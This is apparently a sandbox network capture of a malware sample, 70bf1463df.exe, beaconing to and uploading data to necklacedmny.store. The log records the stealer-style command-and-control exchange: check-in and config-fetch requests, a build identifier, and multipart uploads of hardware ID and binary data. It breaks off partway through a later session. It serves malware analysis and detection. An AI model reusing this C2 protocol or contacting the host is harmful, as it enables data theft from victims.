2024-10-31 02:04:27 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-10-31 02:04:27 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-31 02:04:27 UTC	1019	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=dnpjc2c1n7md4iqihs41v0vcs3; expires=Sun, 23-Feb-2025 19:51:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=305p8XXkF1ZAcRQ5%2BogntsatYLM94YHPFcclZkn37Tq4SfDgYKiugOyFj7h49NP%2BEcTijtyBNzFqqhVQ1JRGDgTiKgW1J2%2F1Ggps5pEb6%2BH%2BEbo0hy%2BoSCQZrkhlKneDIJDHKhI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db013101f512cd0-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1890&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=909&delivery_rate=1421698&cwnd=251&unsent_bytes=0&cid=97d0791b5b22e0dd&ts=502&x=0"
2024-10-31 02:04:27 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-31 02:04:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	63892	188.114.96.3	443	6984	C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:28 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-10-31 02:04:28 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-31 02:04:29 UTC	1017	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ld121naob2ff7ln2musvoitir4; expires=Sun, 23-Feb-2025 19:51:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=b2UxlWxLR0b0u1cvgWdyWkGPL687MLYCGy%2F5cjOZ%2BbOlrgenvC9MgKe8%2Fu974oIpKKFBtp%2BEpoGVrIHpFfjit8IQJpWjfLn%2BXGHZFzpi1oLPCaAiQaFjUUKlQFx4NDtPCU6VLGA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db01316ecf34641-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1291&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=954&delivery_rate=2369885&cwnd=237&unsent_bytes=0&cid=9d371855596a811b&ts=466&x=0"
2024-10-31 02:04:29 UTC	352	IN	Data Raw: 31 64 38 38 0d 0a 47 4b 32 52 49 6c 6b 71 53 52 2f 44 61 6b 47 6b 58 6a 31 47 62 66 4d 30 70 75 55 43 73 63 64 31 56 6a 31 74 68 63 68 6d 57 59 4e 6a 6a 2b 63 41 59 78 35 6c 50 62 41 50 59 35 34 71 54 7a 4d 49 33 78 62 48 67 53 43 4c 6f 52 51 36 54 67 69 70 36 68 41 30 6f 53 4c 4c 38 45 34 71 54 32 55 39 70 68 4a 6a 6e 67 56 47 5a 41 69 64 46 70 7a 48 5a 39 75 6c 46 44 70 66 44 4f 36 6e 46 6a 58 67 63 4d 48 32 53 6a 78 4a 4c 58 36 76 42 79 54 42 4f 31 77 73 41 35 70 5a 7a 6f 67 67 6e 65 55 51 4c 42 39 58 70 34 55 44 4c 65 4a 56 7a 4f 4a 4a 65 31 64 6c 5a 4f 45 50 4c 34 5a 6b 48 79 63 49 6b 56 6a 41 67 57 6e 5a 72 78 30 79 58 67 6e 76 75 41 38 2f 36 33 44 50 39 55 73 32 51 44 6c 7a 70 51 41 76 78 7a 46 63 5a 45 48 52 55 64 7a 48 4f 4a 50 32 4a 54 64 4f 48 Data Ascii: 1d88GK2RIlkqSR/DakGkXj1GbfM0puUCscd1Vj1thchmWYNjj+cAYx5lPbAPY54qTzMI3xbHgSCLoRQ6Tgip6hA0oSLL8E4qT2U9phJjngVGZAidFpzHZ9ulFDpfDO6nFjXgcMH2SjxJLX6vByTBO1wsA5pZzoggneUQLB9Xp4UDLeJVzOJJe1dlZOEPL4ZkHycIkVjAgWnZrx0yXgnvuA8/63DP9Us2QDlzpQAvxzFcZEHRUdzHOJP2JTdOH
2024-10-31 02:04:29 UTC	1369	IN	Data Raw: 34 36 52 53 74 76 71 51 4d 6f 77 79 35 55 4c 51 4b 63 56 73 6d 4e 62 39 43 6c 45 44 35 56 41 4f 32 75 43 54 62 6e 65 73 2b 7a 44 6e 74 50 4d 7a 33 35 53 41 44 44 4c 46 67 6f 47 64 4e 73 68 4a 67 75 79 75 55 51 4f 42 39 58 70 36 49 42 4f 4f 4a 78 77 50 42 49 4d 46 6f 72 62 36 63 46 4a 74 51 36 57 69 6f 46 6b 6b 54 4f 69 57 62 51 72 42 77 39 57 67 6a 6a 36 6b 70 37 35 6d 4b 50 71 77 41 61 52 53 42 78 71 78 38 6a 68 69 4d 52 50 55 2b 57 57 6f 54 66 49 4e 65 6b 45 7a 56 62 41 65 6d 75 43 44 33 76 64 38 44 31 53 6a 74 50 49 58 57 70 43 53 37 4e 4d 31 38 68 41 70 56 51 79 49 5a 6c 6b 2b 74 58 4d 30 64 50 76 2b 6f 71 50 4f 4a 6f 6a 63 5a 44 4e 55 59 73 61 2b 45 58 62 64 39 38 57 43 68 50 79 52 62 4b 67 6d 2f 42 70 41 55 78 55 52 33 72 72 77 49 32 34 6e 54 50 39 Data Ascii: 46RStvqQMowy5ULQKcVsmNb9ClED5VAO2uCTbnes+zDntPMz35SADDLFgoGdNshJguyuUQOB9Xp6IBOOJxwPBIMForb6cFJtQ6WioFkkTOiWbQrBw9Wgjj6kp75mKPqwAaRSBxqx8jhiMRPU+WWoTfINekEzVbAemuCD3vd8D1SjtPIXWpCS7NM18hApVQyIZlk+tXM0dPv+oqPOJojcZDNUYsa+EXbd98WChPyRbKgm/BpAUxUR3rrwI24nTP9
2024-10-31 02:04:29 UTC	1369	IN	Data Raw: 73 61 2b 45 58 62 64 39 38 57 43 68 50 79 52 62 49 6a 6d 44 59 72 78 4d 30 57 41 4c 69 71 51 4d 34 37 48 33 46 2f 55 63 2f 52 43 4a 77 70 77 67 6b 77 6a 6c 4e 49 51 61 64 57 6f 54 4a 49 4e 53 39 56 32 77 66 49 4f 43 38 42 78 54 69 61 38 61 7a 58 33 56 52 61 33 71 74 53 48 75 47 4f 31 6f 73 42 4a 64 65 78 4a 56 6c 33 61 34 57 50 6c 6b 4f 36 71 59 43 4f 2b 42 36 79 66 39 41 50 45 38 35 62 36 51 4f 4d 63 78 38 45 57 51 49 69 52 61 63 78 31 62 44 73 67 59 69 48 54 72 6b 70 41 6f 38 39 7a 72 51 76 56 6c 37 54 79 63 39 2b 55 67 6f 78 6a 42 59 4c 41 6d 56 58 73 75 49 61 63 47 6b 47 7a 70 4e 43 4f 65 6a 43 6a 54 74 63 38 4c 30 54 54 42 43 4a 6e 6d 6d 43 57 4f 49 66 46 67 38 54 38 6b 57 38 70 64 74 33 34 73 63 4f 46 5a 50 2b 4f 51 64 65 2b 5a 32 6a 36 73 41 50 30 Data Ascii: sa+EXbd98WChPyRbIjmDYrxM0WALiqQM47H3F/Uc/RCJwpwgkwjlNIQadWoTJINS9V2wfIOC8BxTia8azX3VRa3qtSHuGO1osBJdexJVl3a4WPlkO6qYCO+B6yf9APE85b6QOMcx8EWQIiRacx1bDsgYiHTrkpAo89zrQvVl7Tyc9+UgoxjBYLAmVXsuIacGkGzpNCOejCjTtc8L0TTBCJnmmCWOIfFg8T8kW8pdt34scOFZP+OQde+Z2j6sAP0
2024-10-31 02:04:29 UTC	1369	IN	Data Raw: 44 43 62 44 4f 46 67 67 43 5a 34 57 69 73 64 6e 79 2b 56 50 64 48 41 6f 30 75 67 6c 41 61 46 6c 67 65 6f 41 50 45 52 72 4a 65 45 45 49 4d 6f 30 55 43 49 47 6e 56 7a 4e 6a 47 7a 59 6f 52 73 39 57 67 6e 6d 72 77 45 36 35 58 62 46 39 55 4d 34 52 79 52 79 71 55 68 74 68 6a 74 48 5a 46 66 52 63 39 4f 4d 62 74 58 6c 43 48 70 47 54 2b 43 6d 52 47 4f 68 64 73 62 31 52 6a 35 45 4b 6e 75 70 44 53 76 43 50 56 6b 69 44 4a 35 53 77 59 5a 76 31 36 6b 5a 50 6c 34 4f 36 36 45 4c 4d 4f 51 36 67 62 4e 48 49 77 68 7a 50 5a 41 4c 4e 64 45 73 55 32 51 51 33 30 2b 45 67 47 79 54 2f 56 63 31 54 51 58 74 70 41 45 30 35 48 6e 41 39 45 30 39 52 43 46 30 71 51 34 73 7a 79 35 63 4b 41 47 57 57 4d 69 4a 62 64 6d 6d 47 6e 51 52 54 2b 43 79 52 47 4f 68 56 73 6a 2b 62 6a 42 45 4c 44 32 Data Ascii: DCbDOFggCZ4Wisdny+VPdHAo0uglAaFlgeoAPERrJeEEIMo0UCIGnVzNjGzYoRs9WgnmrwE65XbF9UM4RyRyqUhthjtHZFfRc9OMbtXlCHpGT+CmRGOhdsb1Rj5EKnupDSvCPVkiDJ5SwYZv16kZPl4O66ELMOQ6gbNHIwhzPZALNdEsU2QQ30+EgGyT/Vc1TQXtpAE05HnA9E09RCF0qQ4szy5cKAGWWMiJbdmmGnQRT+CyRGOhVsj+bjBELD2
2024-10-31 02:04:29 UTC	1369	IN	Data Raw: 6e 49 66 49 78 66 52 44 6f 53 78 5a 38 4f 31 46 48 5a 75 47 65 53 38 44 7a 62 74 4f 74 43 39 57 58 74 50 4a 7a 33 35 53 43 58 4a 4e 56 77 72 44 70 68 61 79 59 4a 70 31 71 51 52 4d 46 55 46 35 36 77 43 4f 75 52 77 7a 50 4a 4b 4d 6b 38 6a 65 71 49 61 59 34 68 38 57 44 78 50 79 52 62 74 67 48 4c 64 74 56 63 72 45 52 61 6e 72 51 68 37 75 54 72 4c 2b 55 38 2f 54 79 64 37 70 41 34 75 78 7a 4e 65 4a 41 43 56 58 63 32 42 59 64 36 67 47 6a 42 4e 42 65 79 6c 43 44 4c 74 64 34 2b 39 41 44 78 51 61 79 58 68 4f 53 37 49 4d 6c 67 79 54 34 34 59 33 63 64 6e 33 2b 56 50 64 46 34 44 36 4b 6b 4c 4f 4f 4a 37 78 65 46 53 4e 30 45 6a 65 4b 30 44 4c 63 41 75 57 53 73 47 6b 6c 58 4e 67 47 6a 66 72 78 51 7a 48 30 47 6e 72 52 78 37 75 54 72 73 35 46 41 32 43 44 51 7a 75 45 67 6b Data Ascii: nIfIxfRDoSxZ8O1FHZuGeS8DzbtOtC9WXtPJz35SCXJNVwrDphayYJp1qQRMFUF56wCOuRwzPJKMk8jeqIaY4h8WDxPyRbtgHLdtVcrERanrQh7uTrL+U8/Tyd7pA4uxzNeJACVXc2BYd6gGjBNBeylCDLtd4+9ADxQayXhOS7IMlgyT44Y3cdn3+VPdF4D6KkLOOJ7xeFSN0EjeK0DLcAuWSsGklXNgGjfrxQzH0GnrRx7uTrs5FA2CDQzuEgk
2024-10-31 02:04:29 UTC	1369	IN	Data Raw: 49 42 67 31 50 43 69 47 2f 61 72 42 4d 38 58 41 2f 6a 72 67 4d 2b 34 6e 62 45 39 45 4d 30 54 43 4a 7a 71 41 64 6a 69 48 78 59 50 45 2f 4a 46 75 57 63 59 39 2b 6f 56 79 73 52 46 71 65 74 43 48 75 35 4f 73 50 39 52 54 74 43 4c 58 6d 6b 44 69 6e 44 50 46 51 6e 41 4a 56 51 77 49 68 67 32 4b 77 57 4d 6c 6f 46 37 4b 77 4a 4f 4f 64 38 6a 37 30 41 50 46 42 72 4a 65 45 6f 4f 4d 73 77 57 47 51 51 33 30 2b 45 67 47 79 54 2f 56 63 2f 55 77 76 67 71 67 6b 34 36 58 2f 4c 2b 55 55 37 51 44 6c 31 6f 51 38 78 31 44 78 57 49 51 4f 53 56 73 43 42 61 64 57 6d 45 33 51 52 54 2b 43 79 52 47 4f 68 56 38 50 30 61 54 78 54 61 32 4c 76 45 57 50 42 4d 42 39 38 54 35 42 64 7a 6f 68 74 30 4b 4d 55 50 31 6f 46 35 71 30 4d 4e 76 4e 35 77 50 78 45 4f 30 63 74 65 36 41 48 4a 63 45 31 58 Data Ascii: IBg1PCiG/arBM8XA/jrgM+4nbE9EM0TCJzqAdjiHxYPE/JFuWcY9+oVysRFqetCHu5OsP9RTtCLXmkDinDPFQnAJVQwIhg2KwWMloF7KwJOOd8j70APFBrJeEoOMswWGQQ30+EgGyT/Vc/Uwvgqgk46X/L+UU7QDl1oQ8x1DxWIQOSVsCBadWmE3QRT+CyRGOhV8P0aTxTa2LvEWPBMB98T5Bdzoht0KMUP1oF5q0MNvN5wPxEO0cte6AHJcE1X
2024-10-31 02:04:29 UTC	371	IN	Data Raw: 52 2b 72 6c 48 78 61 38 51 4a 46 67 59 36 4f 70 4b 65 2b 34 36 6c 38 6f 41 4d 6b 38 77 62 4c 63 46 4d 38 46 38 59 47 70 50 69 52 61 63 78 31 58 51 71 78 6b 7a 53 52 36 71 6a 52 49 78 35 6d 72 49 35 45 39 37 42 6d 74 37 34 56 42 77 69 48 78 62 4e 55 2f 4a 42 70 62 63 4e 59 44 79 52 32 5a 41 51 66 37 71 45 6e 75 35 4b 49 47 7a 55 6e 73 51 61 7a 71 69 47 6a 48 41 50 30 6b 6e 53 4b 39 6f 34 35 31 74 31 62 49 47 43 6d 45 49 2f 61 63 43 4c 50 41 32 32 76 42 4f 4e 55 38 39 50 65 39 49 4c 49 5a 6b 5a 6d 52 48 30 57 6d 4b 78 33 69 54 2f 56 63 42 58 41 48 70 72 52 49 71 72 46 33 56 2f 6b 59 73 57 57 73 7a 34 51 35 6a 6e 6d 77 52 5a 41 75 41 46 70 7a 58 4d 6f 6a 77 52 47 4d 50 58 66 6a 6b 48 58 76 33 4f 70 65 68 44 6e 74 61 61 79 58 68 54 79 44 55 4c 6c 6b 6e 47 5a Data Ascii: R+rlHxa8QJFgY6OpKe+46l8oAMk8wbLcFM8F8YGpPiRacx1XQqxkzSR6qjRIx5mrI5E97Bmt74VBwiHxbNU/JBpbcNYDyR2ZAQf7qEnu5KIGzUnsQazqiGjHAP0knSK9o451t1bIGCmEI/acCLPA22vBONU89Pe9ILIZkZmRH0WmKx3iT/VcBXAHprRIqrF3V/kYsWWsz4Q5jnmwRZAuAFpzXMojwRGMPXfjkHXv3OpehDntaayXhTyDULlknGZ
2024-10-31 02:04:29 UTC	1369	IN	Data Raw: 32 36 65 34 0d 0a 62 48 36 7a 47 69 58 46 4b 6c 78 6a 4d 61 39 56 30 6f 70 76 32 4b 51 70 43 6e 45 43 35 71 6b 4b 65 64 42 73 77 75 4e 44 50 6b 38 56 51 36 38 50 4e 38 45 79 57 53 52 50 33 78 62 4c 78 7a 6a 71 35 56 39 30 59 45 47 6e 73 6b 52 6a 6f 55 2f 4d 2f 55 34 38 58 6a 6f 77 67 68 34 75 79 54 64 65 5a 45 48 52 55 49 54 66 4d 4a 33 6c 45 79 55 66 56 37 66 34 58 32 36 79 4c 5a 2b 68 58 33 56 52 61 32 76 68 55 48 47 49 66 45 31 6b 56 39 45 52 79 6f 70 68 30 4b 73 55 4a 6b 30 4a 35 4c 77 48 66 4e 39 45 37 76 35 4c 4e 30 55 6b 64 70 38 32 41 73 73 33 55 79 6b 41 6d 6d 6a 36 6b 6d 50 64 71 78 41 69 54 6b 2b 70 36 67 74 37 75 55 4f 50 75 77 41 45 42 6d 74 6c 34 56 42 6a 38 7a 39 52 4b 67 69 48 52 34 6d 6d 62 64 69 70 47 6a 74 55 54 36 6e 71 41 6e 75 35 4b Data Ascii: 26e4bH6zGiXFKlxjMa9V0opv2KQpCnEC5qkKedBswuNDPk8VQ68PN8EyWSRP3xbLxzjq5V90YEGnskRjoU/M/U48Xjowgh4uyTdeZEHRUITfMJ3lEyUfV7f4X26yLZ+hX3VRa2vhUHGIfE1kV9ERyoph0KsUJk0J5LwHfN9E7v5LN0Ukdp82Ass3UykAmmj6kmPdqxAiTk+p6gt7uUOPuwAEBmtl4VBj8z9RKgiHR4mmbdipGjtUT6nqAnu5K
2024-10-31 02:04:29 UTC	1369	IN	Data Raw: 46 62 54 78 2b 73 51 34 67 2b 41 4a 30 4b 41 6d 57 54 4d 4f 42 52 76 50 6c 57 58 52 51 54 37 2b 54 52 48 4f 68 52 59 47 7a 57 48 73 51 61 30 69 69 42 69 33 42 4b 6b 35 70 4b 6f 5a 56 31 49 46 6a 6b 2b 74 58 4d 68 39 58 74 2b 52 45 50 2f 41 36 6c 36 4d 53 59 42 31 34 4b 76 46 61 50 49 67 6c 48 7a 4a 50 79 51 53 4b 78 33 4b 54 2f 56 64 7a 58 42 33 31 72 41 63 74 34 6a 33 78 7a 57 59 34 57 53 46 63 72 42 67 6b 2b 41 4a 4b 4a 77 47 66 55 64 4b 57 49 4a 33 6c 47 48 51 48 4e 71 66 69 53 44 33 69 62 49 2f 4d 44 6e 74 51 61 79 58 68 50 53 44 49 4d 6c 67 79 48 74 78 77 78 35 5a 71 38 71 67 48 4d 78 39 42 70 36 78 45 59 37 49 30 6a 2f 64 52 65 78 42 37 4c 2f 70 64 63 4a 46 73 44 54 74 42 69 42 62 53 78 7a 69 42 36 31 63 6d 48 31 65 6e 37 51 63 70 38 33 7a 4d 35 55 Data Ascii: FbTx+sQ4g+AJ0KAmWTMOBRvPlWXRQT7+TRHOhRYGzWHsQa0iiBi3BKk5pKoZV1IFjk+tXMh9Xt+REP/A6l6MSYB14KvFaPIglHzJPyQSKx3KT/VdzXB31rAct4j3xzWY4WSFcrBgk+AJKJwGfUdKWIJ3lGHQHNqfiSD3ibI/MDntQayXhPSDIMlgyHtxwx5Zq8qgHMx9Bp6xEY7I0j/dRexB7L/pdcJFsDTtBiBbSxziB61cmH1en7Qcp83zM5U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	63900	188.114.96.3	443	6984	C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:29 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18168 Host: necklacedmny.store
2024-10-31 02:04:29 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 38 32 38 33 31 41 34 43 34 45 46 38 38 38 44 33 35 42 30 44 30 31 34 34 45 31 35 37 46 37 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"982831A4C4EF888D35B0D0144E157F77--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 02:04:29 UTC	2837	OUT	Data Raw: bb b9 8c 98 dd 7e cd 12 32 f5 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 Data Ascii: ~2MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3
2024-10-31 02:04:30 UTC	1019	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=icj06t5glb9vpkcikgql6eeh8n; expires=Sun, 23-Feb-2025 19:51:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rdO5WyKCEXwxlIUlh39lZgCg9jIFig%2BLsZZaauhLHHfKSeTa%2B%2BMUn976h2lgFA7oPacqFlU9dh1OlrAl9gsxKN3KTlrCkV41c9acKAHWQeqt0aF%2B0gN1522PWzYwk1xLNlkipSI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db0131fae548785-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1090&sent=10&recv=22&lost=0&retrans=0&sent_bytes=2845&recv_bytes=19132&delivery_rate=2551541&cwnd=252&unsent_bytes=0&cid=6234b6adefb48213&ts=605&x=0"
2024-10-31 02:04:30 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 02:04:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	63909	188.114.96.3	443	6984	C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:31 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8789 Host: necklacedmny.store
2024-10-31 02:04:31 UTC	8789	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 38 32 38 33 31 41 34 43 34 45 46 38 38 38 44 33 35 42 30 44 30 31 34 34 45 31 35 37 46 37 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"982831A4C4EF888D35B0D0144E157F77--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 02:04:32 UTC	1019	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4nseu9hccho1835ks3u71k4ski; expires=Sun, 23-Feb-2025 19:51:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PcvfAycWcp4kCeXEm%2F%2Byvwua7P12wDayn2sR%2FstNFsKPsmgHGnJgUjJap2XadWiQ4SPeETPEe%2BQ3wncuGFUbOTrVwe7u5xkwdxe%2BWampGRwaNpwujFnKOMXnXAoH9Jwvfo8oLpc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db013282926468a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1178&sent=7&recv=14&lost=0&retrans=0&sent_bytes=2845&recv_bytes=9730&delivery_rate=2445945&cwnd=247&unsent_bytes=0&cid=1e3e33accea4b3b8&ts=715&x=0"
2024-10-31 02:04:32 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 02:04:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	63922	188.114.96.3	443	6984	C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:33 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20442 Host: necklacedmny.store
